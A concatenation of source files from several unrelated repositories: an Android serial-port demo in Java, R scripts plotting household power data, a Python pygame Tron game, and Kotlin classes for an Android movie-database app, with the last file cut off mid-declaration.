ArrayList<>(); alString=new ArrayList<>(); adapter = new ListViewAdapter(this, alString); contentView = LayoutInflater.from(this).inflate(R.layout.layout_popup_window, null); listView = (ListView) contentView.findViewById(R.id.listview); listView.setAdapter(adapter); try { String[] entryValues = mSerialPortFinder.getAllDevicesPath(); for (int i = 0; i < entryValues.length; i++) { allDevices.add(entryValues[i]); } } catch (Exception e) { allDevices.add("/dev/ttyS1"); } String[] list = getResources().getStringArray(R.array.baudrates_name); for (int i = 0; i < list.length; i++) { allBaudRate.add(list[i]); } //弹出串口列表 tvSerialPort.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View view) { isSerialPort=true; showPopupWindow(view); } }); //弹出波特率列表 tvBaudRate.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View view) { isSerialPort=false; showPopupWindow(view); } }); serialControl = new SerialControl(); //打开串口 final ToggleButton tbOpen = (ToggleButton) findViewById(R.id.tb_open); tbOpen.setOnCheckedChangeListener(new CompoundButton.OnCheckedChangeListener() { @Override public void onCheckedChanged(CompoundButton buttonView, boolean isChecked) { serialControl.setPort(tvSerialPort.getText().toString().trim()); serialControl.setBaudRate(tvBaudRate.getText().toString().trim()); if (isChecked) { OpenComPort(serialControl); } else { CloseComPort(serialControl); } } }); //发送 findViewById(R.id.bt_send).setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { sendPortData(serialControl, etContent.getText().toString().trim()); } }); } private void showPopupWindow(View view) { if (popupWindow == null) { popupWindow = new PopupWindow(contentView, RelativeLayout.LayoutParams.WRAP_CONTENT, RelativeLayout.LayoutParams.WRAP_CONTENT, true); //设置动画效果 popupWindow.setAnimationStyle(R.style.AnimationFade); popupWindow.setBackgroundDrawable(new BitmapDrawable()); } alString.clear(); if(isSerialPort){ alString.addAll(allDevices); }else{ alString.addAll(allBaudRate); } adapter.notifyDataSetChanged(); listView.setOnItemClickListener(new AdapterView.OnItemClickListener() { @Override public void onItemClick(AdapterView<?> parent, View view, int position, long id) { if(isSerialPort) { tvSerialPort.setText(alString.get(position)); }else{ tvBaudRate.setText(alString.get(position)); } popupWindow.dismiss(); } }); popupWindow.showAsDropDown(view); } //串口控制类 private class SerialControl extends SerialHelper { public SerialControl() { } @Override protected void onDataReceived(final ComBean ComRecData) { } } //打开串口 private void OpenComPort(SerialHelper ComPort) { try { ComPort.open(); } catch (SecurityException e) { ShowMessage("打开串口失败:没有串口读/写权限!"); } catch (IOException e) { ShowMessage("打开串口失败:未知错误!"); } catch (InvalidParameterException e) { ShowMessage("打开串口失败:参数错误!"); } } //关闭串口 private void CloseComPort(SerialHelper ComPort) { if (ComPort != null) { ComPort.stopSend(); ComPort.close(); } } //显示消息 private void ShowMessage(String sMsg) { Toast.makeText(this, sMsg, Toast.LENGTH_SHORT).show(); } //串口发送 private void sendPortData(SerialHelper ComPort, String sOut) { if (ComPort != null && ComPort.isOpen()) { if (rbHex.isChecked()) { ComPort.sendHex(sOut); } else { ComPort.sendTxt(sOut); } } } } <file_sep>/app/src/main/java/com/example/shen/serialportdemo/adapter/ListViewAdapter.java package com.example.shen.serialportdemo.adapter; import android.content.Context; import android.util.Log; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import android.widget.BaseAdapter; import android.widget.TextView; import com.example.shen.serialportdemo.R; import java.util.ArrayList; /** * Created by SHEN on 2015/10/12. */ public class ListViewAdapter extends BaseAdapter { private Context context; private ArrayList<String> list; private LayoutInflater inflater; public ListViewAdapter(Context context,ArrayList<String> list){ this.context=context; this.list=list; inflater=LayoutInflater.from(context); } @Override public int getCount() { return list.size(); } @Override public Object getItem(int position) { return list.get(position); } @Override public long getItemId(int position) { return position; } @Override public View getView(int position, View convertView, ViewGroup parent) { ViewHolder viewHolder; if(convertView==null) { convertView = inflater.inflate(R.layout.item_listview, null); viewHolder=new ViewHolder(); viewHolder.tvInfo = (TextView) convertView.findViewById(R.id.tv_info); convertView.setTag(viewHolder); }else{ viewHolder=(ViewHolder) convertView.getTag(); } viewHolder.tvInfo.setText(list.get(position)); return convertView; } static class ViewHolder{ TextView tvInfo; } }
2b3c5bac66aec7b8fe6eb7703cf0000f4d6b68a2
[ "Java" ]
2
Java
kongpengcheng/SerialPortDemo
f6ce64acb431bb6788c78e435d281610d6e4150a
69d53847884ad12df1f0714121799b2a5d222e82
refs/heads/master
<repo_name>andrews441/ExData_Plotting1<file_sep>/plot4.R plot4 <- function() { data <- read.csv("household_power_consumption.txt", colClasses=c(rep("character",2),rep("numeric",7)), sep=";", na.strings=c("?")) data <- subset(data,data$Date=="1/2/2007" | data$Date=="2/2/2007") datetime <- as.POSIXlt(paste(as.Date(data$Date,format="%d/%m/%Y"), data$Time, sep=" ")) png("plot4.png") par(mfrow=c(2,2)) with(data, { plot(datetime,Global_active_power,type="l",xlab="",ylab="Global Active Power") plot(datetime,Voltage,type="l",ylab="Voltage") plot(datetime,Sub_metering_1,type="l",xlab="",ylab="Energy sub metering") lines(datetime,Sub_metering_2,type="l",col="red") lines(datetime,Sub_metering_3,type="l",col="blue") legend("topright",c("Sub_metering_1","Sub_metering_2","Sub_metering_3"),col = c("black","red","blue"),lty=1) plot(datetime,Global_reactive_power,type="l") }) dev.off() }<file_sep>/plot3.R data <- read.csv("household_power_consumption.txt", colClasses=c(rep("character",2),rep("numeric",7)), sep=";", na.strings=c("?")) data <- subset(data,data$Date=="1/2/2007" | data$Date=="2/2/2007") dateTime <- as.POSIXlt(paste(as.Date(data$Date,format="%d/%m/%Y"), data$Time, sep=" ")) png("plot3.png") plot(dateTime,data$Sub_metering_1,type="l",xlab="",ylab="Energy sub metering") lines(dateTime,data$Sub_metering_2,type="l",col="red") lines(dateTime,data$Sub_metering_3,type="l",col="blue") legend("topright",c("Sub_metering_1","Sub_metering_2","Sub_metering_3"),col = c("black","red","blue"),lty=1) dev.off() <file_sep>/plot2.R data <- read.csv("household_power_consumption.txt", colClasses=c(rep("character",2),rep("numeric",7)), sep=";", na.strings=c("?")) data <- subset(data,data$Date=="1/2/2007" | data$Date=="2/2/2007") dateTime <- as.POSIXlt(paste(as.Date(data$Date,format="%d/%m/%Y"), data$Time, sep=" ")) png("plot2.png") plot(dateTime,data$Global_active_power,type="l",xlab="",ylab="Global Active Power (kilowatts)") dev.off() <file_sep>/plot1.R data <- read.csv("household_power_consumption.txt", colClasses=c(rep("character",2),rep("numeric",7)), sep=";", na.strings=c("?")) data <- subset(data,data$Date=="1/2/2007" | data$Date=="2/2/2007") png("plot1.png") hist(data$Global_active_power,col="red",main="Global Active Power",xlab="Global Active Power (kilowatts)") dev.off()
6426e4ffdfdde6a229e38468262e39e34cf583cd
[ "R" ]
4
R
andrews441/ExData_Plotting1
aa9014b79e7ef216295813c64fb6211a9a804a08
339f096200ba8ac489963c0d67db6187348bda7b
refs/heads/main
<file_sep># A file for any helper functions we use # Created 12/4/18 import pygame # Initialize the font module pygame.font.init() # this class will be used to render the text that will go onto the screen class Renderer: def __init__(self, screen): # Initialize the pygame screen, for drawing in render_text self.screen = screen def render_text(self, text, size, position, colour): """ this method is used to contain the information necessary to blit the text onto the screen""" # these variables/ attributes store the font, size, color, message, and location of text font = pygame.font.SysFont("Arial", size) text = font.render(text, True, colour) self.screen.blit(text, position) <file_sep># Created 12/4/18 # Main file for our game # import the pygame graphic module import pygame # import the game driver from game_driver from game_driver import GameDriver # set the window size to 750 by 750 screen = pygame.display.set_mode((750, 750)) # Adding window title pygame.display.set_caption("Tron") # ste the trail size to 5 SQUARE_SIZE = 5 # set the frames per second to 100 FPS = 75 # create an instance of GameDriver driver = GameDriver(screen, SQUARE_SIZE) # Set the repeat delay before pygame.KEYDOWN events are fired again # Required when using enter to advance screens # If not, pygame will register enter too quickly pygame.key.set_repeat(1000, 100) """While exited is still False, check for whether the user exits the game, in which case, make exited True and exit the event loop, keep calling the add_event function. If exited is still False, make the screen white, call the main game driver (driver.tick) and flip the graphics to the screen""" exited = False while not exited: # Wait 1000/FPS seconds, for a total of 1000 ms in a second :) pygame.time.delay(1000//FPS) # Clear the events driver.clear_events() for event in pygame.event.get(): if event.type == pygame.QUIT: exited = True break # Add the event to the driver event list driver.add_event(event) # Clear the screen screen.fill((255, 255, 255)) # Update the driver driver.tick() # Update the screen pygame.display.flip() # Quit Pygame pygame.quit() <file_sep># File for our game driver class # Created 12/4/18 # TODO: Comment import pygame from helpers import Renderer from player import Player from images import Graphics """we created a class for the main game, this class contains the code for when the instructions screen is displayed to the user, when the players control their bikes and they collide, when the game ends, and a function that calls the previously mentioned functions (for efficiency)""" # This class is responsible for the game mechanics and the instructions to the user class GameDriver: def __init__(self, screen, SQUARE_SIZE): # Storing our screen object self.screen = screen # Store our events in our list self.events = [] # Initialize our square size self.SQUARE_SIZE = SQUARE_SIZE # Load our text renderer self.renderer = Renderer(screen) # Load our graphics module self.graphics = Graphics(screen, SQUARE_SIZE) # Our game driver state. It gets changed depending on what phase of the game we are on self.state = "init" # The victory verdict, set later self.verdict = "" # These variables are for controlling the colour changing screen self.selected_player = 1 self.colour_warning = False # Rock out to MUSIC pygame.mixer.init() pygame.mixer.music.load("sound-files\\tron-music.mp3") pygame.mixer.music.play(-1) # Change the window icon pygame.display.set_icon(self.graphics.icon) # this creates an instance of the player class in "player.py", for the first player self.player1 = Player(self.screen, [pygame.K_a, pygame.K_w, pygame.K_s, pygame.K_d], (1, 0), (50, 375), self.SQUARE_SIZE, *self.graphics.colour_list[0]) # this creates an instance of the player class in "player.py", for the second player self.player2 = Player(self.screen, [pygame.K_LEFT, pygame.K_UP, pygame.K_DOWN, pygame.K_RIGHT], (-1, 0), (700, 375), self.SQUARE_SIZE, *self.graphics.colour_list[1]) def tick_init(self): """this method will be used for when the user initially runs the game. This will be the first screen they see this lets the player know that they are playing "Tron" """ # blit the image that is in the function "init_background" self.screen.blit(self.graphics.init_background, (0, 0)) # Render the title # self.renderer.render_text("TRON", 300, (25, 200), (24, 202, 230)) for ev in self.events: # Advance the state of the driver if the user pressed return if ev.type == pygame.KEYDOWN and ev.key == pygame.K_RETURN: self.state = "instructions" def tick_instructions(self): """ this method will be used to display the instructions onto the screen""" self.screen.blit(self.graphics.Instructions_Screen, (0, 0)) for ev in self.events: # Advance the state of the driver if the user pressed return if ev.type == pygame.KEYDOWN and ev.key == pygame.K_RETURN: self.state = "colour" def tick_colour(self): # Render the text in the colour changing phase if self.colour_warning: self.renderer.render_text("You must choose different colours.", 50, (50, 500), (0, 0, 0)) self.renderer.render_text("Player %d Colour Selection" % self.selected_player, 70, (75, 50), (0, 0, 0)) self.renderer.render_text("Please Press Keys 1-5 To Select Colour", 35, (110, 135), (0, 0, 0)) self.renderer.render_text("Press Enter To Confirm Selection", 35, (145, 175), (0, 0, 0)) # Render the player 1 side self.renderer.render_text("Player 1 - ", 30, (50, 300), (0, 0, 0)) # showing player what colour they are self.screen.blit(self.player1.image, (180, 308)) for p in range(5): self.renderer.render_text(str(p + 1), 30, (70 + 50 * p, 360), (0, 0, 0)) # showing possible colours self.screen.blit(self.graphics.colour_list[p][1], (50 + 50 * p, 400)) # Render the player 2 side self.renderer.render_text("Player 2 - ", 30, (430, 300), (0, 0, 0)) # showing player what colour they are self.screen.blit(self.player2.image, (560, 308)) for o in range(5): self.renderer.render_text(str(o + 1), 30, (450 + 50 * o, 360), (0, 0, 0)) # showing possible colours self.screen.blit(self.graphics.colour_list[o][1], (430 + 50 * o, 400)) for ev in self.events: # Advance the state of the driver if the user pressed return if ev.type == pygame.KEYDOWN: if ev.key == pygame.K_RETURN: self.selected_player += 1 # Update the colour if key 1-5 have been pressed for i in range(5): if ev.key == getattr(pygame, "K_%d" % (i + 1)): if self.selected_player == 1: self.player1.update_colour(*self.graphics.colour_list[i]) else: self.player2.update_colour(*self.graphics.colour_list[i]) if self.selected_player == 3: # If they have the same colour, dont advance the state of the driver if self.player1.image == self.player2.image: self.selected_player -= 1 self.colour_warning = True return # Otherwise, reset the selected player and warning and initialize the main phase self.colour_warning = False self.selected_player = 1 self.state = "main" def tick_main(self): """ this method will be responsible for keeping track of whether there is a collision between players""" # Add the backgruond self.screen.blit(self.graphics.main_background, (0, 0)) # Update both players self.player1.tick() self.player2.tick() # Check collisions collide1 = self.player1.collides(self.player2) collide2 = self.player2.collides(self.player1) # if the two players collide head-on, the game is a tie if collide1 and collide2: self.state = "game_end" self.verdict = "tie" # if the player 1 bike collides into the player 2 line, then player 2 wins elif collide1: self.state = "game_end" self.verdict = "win2" # if the player 2 bike collides into the player 1 line, then player 1 wins elif collide2: self.state = "game_end" self.verdict = "win1" def tick_game_end(self): """this function is used to display the messages when the game ends""" # Re-initialize players to be empty self.player1.re_init() self.player2.re_init() # Render the win images onto the screen if self.verdict == "win1": self.screen.blit(self.player1.win_image, (0, 0)) if self.verdict == "win2": self.screen.blit(self.player2.win_image, (0, 0)) # if the game ends in a tie, display the tie image onto the screen if self.verdict == "tie": self.screen.blit(self.graphics.Tie, (0, 0)) # Reset to instructions if they press return for ev in self.events: if ev.type == pygame.KEYDOWN and ev.key == pygame.K_RETURN: self.state = "instructions" def tick(self): """ this function will be used to call all the previous functions (for code efficiency)""" # if the games is at the home screen phase, call tick_init if self.state == "init": self.tick_init() # if the game is a t the instructions phase, call tick_instructions elif self.state == "instructions": self.tick_instructions() elif self.state == "colour": self.tick_colour() # if the game is at the gameplay phase, call tick_main elif self.state == "main": self.tick_main() # if the game is at the ending phase, call tick_game_end elif self.state == "game_end": self.tick_game_end() # Add the event to the events list def add_event(self, event): self.events.append(event) # Clear our events # Called every frame to reset the event list def clear_events(self): self.events.clear() <file_sep># a file to load and manage images # created 12/4/2018 import pygame """Create a class for the grahpics. These are simply attributes that will be called for in the main game driver, "game_driver""""" class Graphics: def __init__(self, screen, SQUARE_SIZE): # The screen width and height self.width = screen.get_width() self.height = screen.get_height() self.screen = screen # these two attributes call the image for the grid the players will see when they are playing the game self.main_background = pygame.image.load("images\\Tron_Background.png") self.main_background = pygame.transform.scale(self.main_background, (self.width, self.height)) # The initial background self.init_background = pygame.image.load("images\\FirstScreen.png") self.init_background = pygame.transform.scale(self.init_background, (self.width, self.height)) # The instruction screen self.Instructions_Screen = pygame.image.load("images\\InstructionsScreen.jpg") self.Instructions_Screen = pygame.transform.scale(self.Instructions_Screen, (self.width, self.height)) # The Win Screens self.BlueWin = pygame.image.load("images\\BlueTronWinsBackground.png") self.BlueWin = pygame.transform.scale(self.BlueWin, (self.width, self.height)) self.CyanWin = pygame.image.load("images\\CyanTronWinsBackground.png") self.CyanWin = pygame.transform.scale(self.CyanWin, (self.width, self.height)) self.GreenWin = pygame.image.load("images\\GreenTronWinsBackground.png") self.GreenWin = pygame.transform.scale(self.GreenWin, (self.width, self.height)) self.RedWin = pygame.image.load("images\\RedTronWinsBackground.png") self.RedWin = pygame.transform.scale(self.RedWin, (self.width, self.height)) self.YellowWin = pygame.image.load("images\\YellowTronWinsBackground.png") self.YellowWin = pygame.transform.scale(self.YellowWin, (self.width, self.height)) # The Bike images self.bikeB = pygame.image.load("images\\Blue.png") self.bikeB = pygame.transform.scale(self.bikeB, (SQUARE_SIZE * 10, SQUARE_SIZE * 5)) # these two attributes will call the image for the bike for player 2 self.bikeC = pygame.image.load("images\\Cyan.png") self.bikeC = pygame.transform.scale(self.bikeC, (SQUARE_SIZE * 10, SQUARE_SIZE * 5)) # these two attributes will call the image for the green bike self.bikeG = pygame.image.load("images\\Green.png") self.bikeG = pygame.transform.scale(self.bikeG, (SQUARE_SIZE * 10, SQUARE_SIZE * 5)) # these two attributes will call the image for the red bike self.bikeR = pygame.image.load("images\\Red.png") self.bikeR = pygame.transform.scale(self.bikeR, (SQUARE_SIZE * 10, SQUARE_SIZE * 5)) # these two attributes will call the image for the yellow bike self.bikeY = pygame.image.load("images\\Yellow.png") self.bikeY = pygame.transform.scale(self.bikeY, (SQUARE_SIZE * 10, SQUARE_SIZE * 5)) # these two attributes call the draw background self.Tie = pygame.image.load("images\\Draw.png") self.Tie = pygame.transform.scale(self.Tie, (self.width, self.height)) # A list of the colours, bikes and win images self.colour_list = [ [(0, 0, 255), self.bikeB, self.BlueWin], [(0, 128, 255), self.bikeC, self.CyanWin], [(0, 255, 0), self.bikeG, self.GreenWin], [(255, 0, 0), self.bikeR, self.RedWin], [(255, 255, 0), self.bikeY, self.YellowWin] ] # Load the icon self.icon = pygame.image.load("images\\TronIcon.jpg") <file_sep># A file for our player class # Created 12/4/18 import pygame from images import Graphics # this class is used to create the frame for the player. We will create instances of this class for each player class Player: # Give it a pygame screen to draw to # Give it an array of movement keys # Order of movement keys is (left, up, down, right) # This should be passed as pygame.K_A, pygame.K_W, etc. def __init__(self, screen, keys, initial_direction, initial_position, square_size, colour, image, win_image): self.graphics = Graphics(screen, square_size) # Initialize the win image and bike image self.win_image = win_image self.image = image # Rotate the images self.left_image = self.image self.right_image = pygame.transform.rotate(self.left_image, 180) self.down_image = pygame.transform.rotate(self.left_image, 90) self.up_image = pygame.transform.rotate(self.left_image, 270) # this attribute contains the screen properties self.screen = screen # this attribute contains command for the key press tracker self.keys = keys # this list contains all of the coordinates for the trail self.tail = [] # this attribute contains the direction of the bike self.direction = initial_direction # these two attributes contain the position and direction of the bike self.initial_position = initial_position self.initial_direction = initial_direction # Must be list so we can modify values # these attributes are used to store the position of the trail, and the properties of the trail self.head = list(initial_position) self.square_size = square_size self.tail_colour = colour def update_colour(self, colour, image, win_image): """ Update the colour of this player""" self.win_image = win_image self.tail_colour = colour self.image = image # Rotate the image self.left_image = self.image self.right_image = pygame.transform.rotate(self.left_image, 180) self.down_image = pygame.transform.rotate(self.left_image, 90) self.up_image = pygame.transform.rotate(self.left_image, 270) def re_init(self): """ this method re-initialize the player's position and direction """ # Re-initialize player self.head = list(self.initial_position) self.direction = self.initial_direction # Reset the image self.image = self.left_image # Clear the tail of all its entries self.tail.clear() def update(self): """ this method is used to update the player's direction of movement""" # Get the keys left, up, down, right = self.keys # Get the pressed keys keys = pygame.key.get_pressed() # Update the direction if the direction is not opposite the current direction if keys[left] and self.direction != (1, 0): self.direction = (-1, 0) elif keys[up] and self.direction != (0, 1): self.direction = (0, -1) elif keys[down] and self.direction != (0, -1): self.direction = (0, 1) elif keys[right] and self.direction != (-1, 0): self.direction = (1, 0) # Update the image based on the direction if self.direction == (-1, 0): self.image = self.left_image elif self.direction == (1, 0): self.image = self.right_image elif self.direction == (0, -1): self.image = self.up_image elif self.direction == (0, 1): self.image = self.down_image def move(self): """ this method is used to keep of the coordinates of the trail""" # Must access the elements and put into array # Need to copy the list basically self.tail.append([self.head[0], self.head[1]]) # change the value of self head, by the current value, multiplied by the size of the trail square self.head[0] += self.direction[0] * self.square_size self.head[1] += self.direction[1] * self.square_size def draw(self): """ this method will be used to draw the actual trail using the information above""" # create a loop that draws the actual trail for square in self.tail: pygame.draw.rect(self.screen, self.tail_colour, (square, (self.square_size, self.square_size))) # Draw the image based on the direction if self.direction == (-1, 0): # left self.screen.blit(self.image, (self.head[0] - 3, self.head[1] - 9)) elif self.direction == (0, -1): # up self.screen.blit(self.image, (self.head[0] - 10, self.head[1] - 3)) elif self.direction == (0, 1): # down self.screen.blit(self.image, (self.head[0] - 9, self.head[1] - 40)) elif self.direction == (1, 0): # right self.screen.blit(self.image, (self.head[0] - 40, self.head[1] - 9)) def tick(self): """ this method is used to call all the methods each frame for the player """ self.update() self.move() self.draw() def collides(self, other): """this method is used to keep track of the collisions of the bikes""" # Check for collision with other player if self.head in other.tail: return True if self.head == other.head: return True # Check for collision with self if self.head in self.tail: return True # Check for collision with side of screen if self.head[0] > (self.screen.get_width() - 5) or self.head[0] < 0: return True if self.head[1] > self.screen.get_height() or self.head[1] < 0: return True return False
f05fc1d482ba9ecc8e26e26312716ea60dedc99a
[ "Python" ]
5
Python
FarazHossein/TronGame
a0ebe3421965992f721545827903e53110c61584
dd81720fad4b22db3c0593e0fd96a0fb33557758
refs/heads/main
<file_sep># Form-Securety-exercises-PHP<file_sep><?php // .............. 1 ............. /* Următorul exemplu va curăța şirul de tag-uri periculoase < >: */ // function tag($p){ // $p = str_replace("<", "<", $p); // $p = str_replace(">", ">", $p); // return $p; // } // $text = tag($_POST['text']); // sau cu aceasta functie // echo strip_tags("<abc>text"); //Funcția htmlentities() convertește de asemenea marcajele HTML în coduri HTML: // echo htmlentities("<abc>text"); // echo htmlspecialchars("<abc>text"); ?> <!-- .............. 2 ............. --> <!-- Dacă vom seta următoarea formă pe pagina noastră, datele sale vor fi expediate prin motorul de căutare Google --> <!-- <form action="http://www.google.com/search" name=f> <input autocomplete="off" name=q title="Google Search" value=""> <input name=btnG type=submit value="Google Search"> </form> --> <!-- .............. 3 ............. --> <!-- Utilizatorul poate pur și simplu să facă o formă identică pe serverul său, să schimbe traseul atributului action în absolut (http://www.serverulsau.com/serverulmeu.php) --> <!-- <form action="serverulmeu.php" name="formaMea"> <input name="numedeutilizator" type="text"> <input name="parola" type="text"> </form> --> <?php // $host = "www.siteulSau.com"; // $port = 80; // $parametrii = "numeDeUtilizator=administrator&parola=$generate"; // $response = ""; // $fp = fsockopen("www.siteulSau.com", 80); // fputs($fp, "POST /search HTTP/1.1\r\n"); // fputs($fp, "Host: {$host}\r\n"); // fputs($fp, "Content-type: application/x-www-form-urlencoded\r\n"); // fputs($fp, "Content-length: " . strlen($parametri) . "\r\n"); // fputs($fp, "Connection: close\r\n\r\n"); // fputs($fp, $parametrii); // while(!feof($fp)) // $response .= fgets($fp); // fclose($fp); // prelucrare($response); // .............. 4 ............. // Verifica întodeauna Referer-ul atunci când o formă este procesată // if($_SERVER['HTTP_REFERER'] != "http://www.siteulsau.com") die("Referer fals"); // .............. 5 ............. // Rederer-ul poate fi pacalit // fputs($fp, "Referer: http://www.siteulsau.com"); ?> <!-- .............. 6 ............. --> <!-- Un alt exemplu --> <!-- <select name="sex"> <option>m</option> <option>f</option> </select> --> <?php // Procesarea lor în PHP va arăta probabil în felul următor: // intraInBazaDeDate($_POST['sex']); ?> <!-- Utilizatorul poate sa-si faca propria sa instanta: --> <!-- <input name="sex" type="text" /> --> <!-- .............. 7 ............. --> <?php // Un mod mai bun de a securiza datele, ar fi: // $sexe = array("m","f"); // echo "<select name='sex'>"; // for($i = 0; $i < count($sexe); $i++){ // echo "<option> $sexe[$i] </option>"; // } // echo "</select>"; // if(in_array($_POST['sex'], $sexe)){ // intraInBazaDeDate($_POST['pol']); // } ?>
629f17223ea09cb968d060a713143f4f91150f38
[ "Markdown", "PHP" ]
2
Markdown
Beny14/Form-Securety-exercises-PHP
7d95d295cd1ddc98419ab4275f68159baa0b211f
d26a0573d00ad0196f472935501983db49c45ff2
refs/heads/master
<file_sep>package com.example.moviedb.ui.screen.moviedetail import androidx.lifecycle.MutableLiveData import androidx.lifecycle.viewModelScope import com.example.moviedb.data.model.Cast import com.example.moviedb.data.model.Crew import com.example.moviedb.data.model.Movie import com.example.moviedb.data.repository.MovieRepository import com.example.moviedb.ui.base.BaseViewModel import kotlinx.coroutines.launch class MovieDetailViewModel( private val movieRepository: MovieRepository ) : BaseViewModel() { val movie = MutableLiveData<Movie>() val cast = MutableLiveData<ArrayList<Cast>>() val crew = MutableLiveData<ArrayList<Crew>>() val similarMovie = MutableLiveData<ArrayList<Movie>>() private val favoriteChanged = MutableLiveData<Boolean>().apply { value = false } /** * load cast and crew */ fun loadCastAndCrew(movieId: String) { if (cast.value != null) return viewModelScope.launch { try { cast.value = movieRepository.getCastAndCrew(movieId).cast crew.value = movieRepository.getCastAndCrew(movieId).crew } catch (e: Exception) { onError(e) } } } /** * load similar movie */ fun loadSimilarMovie(movieId: String) { if (similarMovie.value != null) return viewModelScope.launch { try { similarMovie.value = movieRepository.getSimilarMovie(movieId).results } catch (e: Exception) { onError(e) } } } }<file_sep>package com.example.moviedb.ui.screen.main import android.os.Bundle import com.example.moviedb.R import com.example.moviedb.databinding.ActivityMainBinding import com.example.moviedb.ui.base.BaseActivity import com.example.moviedb.ui.screen.latestmovielist.LatestMovieFragment import org.koin.androidx.viewmodel.ext.android.viewModel class MainActivity : BaseActivity<ActivityMainBinding, MainActivityViewModel>() { override val viewModel: MainActivityViewModel by viewModel() override val layoutId: Int = R.layout.activity_main override fun onCreate(savedInstanceState: Bundle?) { super.onCreate(savedInstanceState) if (savedInstanceState == null) { // initial transaction should be wrapped like this supportFragmentManager.beginTransaction() .replace(R.id.container, LatestMovieFragment.newInstance()) .commitAllowingStateLoss() } } } <file_sep>package com.example.moviedb.data.model import android.os.Parcelable import androidx.room.Entity import androidx.room.PrimaryKey import com.example.moviedb.BuildConfig import kotlinx.android.parcel.Parcelize @Parcelize @Entity(tableName = "movie") data class Movie( @PrimaryKey(autoGenerate = false) val id: String, val adult: Boolean? = false, val backdrop_path: String? = null, val budget: Int? = null, val homepage: String? = null, val imdb_id: String? = null, val original_language: String? = null, val original_title: String? = null, val overview: String? = null, val popularity: Double? = null, val poster_path: String? = null, val release_date: String? = null, val revenue: Int? = null, val runtime: Int? = null, val status: String? = null, val tagline: String? = null, val title: String? = null, val video: Boolean? = false, val vote_average: Double? = null, val vote_count: Int? = null, var isFavorite: Boolean? = false ) : Parcelable { fun getFullBackdropPath() = if (backdrop_path.isNullOrBlank()) null else BuildConfig.SMALL_IMAGE_URL + backdrop_path fun getFullPosterPath() = if (poster_path.isNullOrBlank()) null else BuildConfig.SMALL_IMAGE_URL + poster_path fun toSearchedMovie() = SearchedMovie( id=id, adult=adult, backdrop_path=backdrop_path, budget=budget, homepage=homepage, imdb_id=imdb_id, original_language=original_language, original_title=original_title, overview=overview, popularity=popularity, poster_path=poster_path, release_date=release_date, revenue=revenue, runtime=runtime, status=status, tagline=tagline, title=title, video=video, vote_average=vote_average, vote_count=vote_count, isFavorite=isFavorite ) }<file_sep>package com.example.moviedb.ui.screen.moviedetail import android.widget.Filter import androidx.recyclerview.widget.DiffUtil import com.example.moviedb.R import com.example.moviedb.data.model.Cast import com.example.moviedb.data.model.Movie import com.example.moviedb.databinding.ItemCastBinding import com.example.moviedb.ui.base.BaseListAdapter class SimilarMovieAdapter: BaseListAdapter<Movie, ItemCastBinding>(object : DiffUtil.ItemCallback<Movie>() { override fun areItemsTheSame(oldItem: Movie, newItem: Movie): Boolean { return oldItem.id == newItem.id } override fun areContentsTheSame(oldItem: Movie, newItem: Movie): Boolean { return oldItem == newItem } }) { override fun getLayoutRes(viewType: Int): Int { return R.layout.item_similar_movie } } <file_sep>package com.example.moviedb.data.remote.response import com.example.moviedb.data.model.Video class GetMovieVideos ( val videos: List<Video>?=null ): BaseResponse()<file_sep>package com.example.moviedb.di import com.example.moviedb.ui.screen.main.MainActivityViewModel import com.example.moviedb.ui.screen.latestmovielist.LatestMovieViewModel import com.example.moviedb.ui.screen.moviedetail.MovieDetailViewModel import org.koin.androidx.viewmodel.dsl.viewModel import org.koin.dsl.module val viewModelModule = module { viewModel { MainActivityViewModel() } viewModel { LatestMovieViewModel(get()) } viewModel { MovieDetailViewModel(get()) } }<file_sep>package com.example.moviedb.ui.screen.latestmovielist import androidx.lifecycle.MutableLiveData import androidx.lifecycle.viewModelScope import com.example.moviedb.data.model.Movie import com.example.moviedb.data.model.SearchedMovie import com.example.moviedb.data.remote.ApiParams import com.example.moviedb.data.repository.MovieRepository import com.example.moviedb.ui.base.BaseLoadMoreRefreshViewModel import kotlinx.coroutines.launch class LatestMovieViewModel( val movieRepository: MovieRepository ) : BaseLoadMoreRefreshViewModel<Movie>() { val isRecentVisible = MutableLiveData<Boolean>().apply { value = true } val isSearchVisible = MutableLiveData<Boolean>().apply { value = true } val searchText = MutableLiveData<String>().apply { value = "" } val movie = MutableLiveData<List<Movie>>() val selectedMovie = MutableLiveData<List<SearchedMovie>>() override fun loadData(page: Int) { val hashMap = HashMap<String, String>() hashMap[ApiParams.PAGE] = page.toString() viewModelScope.launch { try { movieRepository.getMovieList(hashMap).results?.let { movieRepository.insertDB(it) } onLoadSuccess(page, movieRepository.getMovieListLocal()) movie.value=movieRepository.getMovieListLocal() selectedMovie.value=movieRepository.getSearchedMovieListLocal() } catch (e: Exception) { onError(e) } } } }<file_sep>package com.example.moviedb.ui.screen.main import com.example.moviedb.ui.base.BaseViewModel class MainActivityViewModel : BaseViewModel() { }<file_sep>package com.example.moviedb.ui.screen.moviedetail import android.os.Bundle import android.view.View import androidx.lifecycle.Observer import com.example.moviedb.R import com.example.moviedb.data.model.Movie import com.example.moviedb.databinding.FragmentMovieDetailBinding import com.example.moviedb.ui.base.BaseFragment import com.example.moviedb.ui.screen.latestmovielist.LatestMovieFragment.Companion.KEY_MOVIE_ID import com.example.moviedb.utils.setSingleClick import kotlinx.android.synthetic.main.fragment_movie_detail.* import org.koin.androidx.viewmodel.ext.android.viewModel class MovieDetailFragment : BaseFragment<FragmentMovieDetailBinding, MovieDetailViewModel>() { override val layoutId: Int = R.layout.fragment_movie_detail override val viewModel: MovieDetailViewModel by viewModel() lateinit var bundle: Bundle private val castAdapter = CastAdapter() private val crewAdapter = CrewAdapter() private val similarMovieAdapter = SimilarMovieAdapter() override fun onCreate(savedInstanceState: Bundle?) { super.onCreate(savedInstanceState) bundle = requireArguments() } override fun onViewCreated(view: View, savedInstanceState: Bundle?) { super.onViewCreated(view, savedInstanceState) image_back?.setSingleClick { requireActivity().onBackPressed() } viewModel.apply { val id = bundle.getParcelable<Movie>(KEY_MOVIE_ID)!!.id viewModel.movie.value=bundle.getParcelable(KEY_MOVIE_ID) loadCastAndCrew(id) loadSimilarMovie(id) } if (recycler_cast?.adapter == null) { recycler_cast?.adapter = castAdapter } if (recycler_crew?.adapter == null) { recycler_crew?.adapter = crewAdapter } if (recycler_similar_movie?.adapter == null) { recycler_similar_movie?.adapter = similarMovieAdapter } } override fun 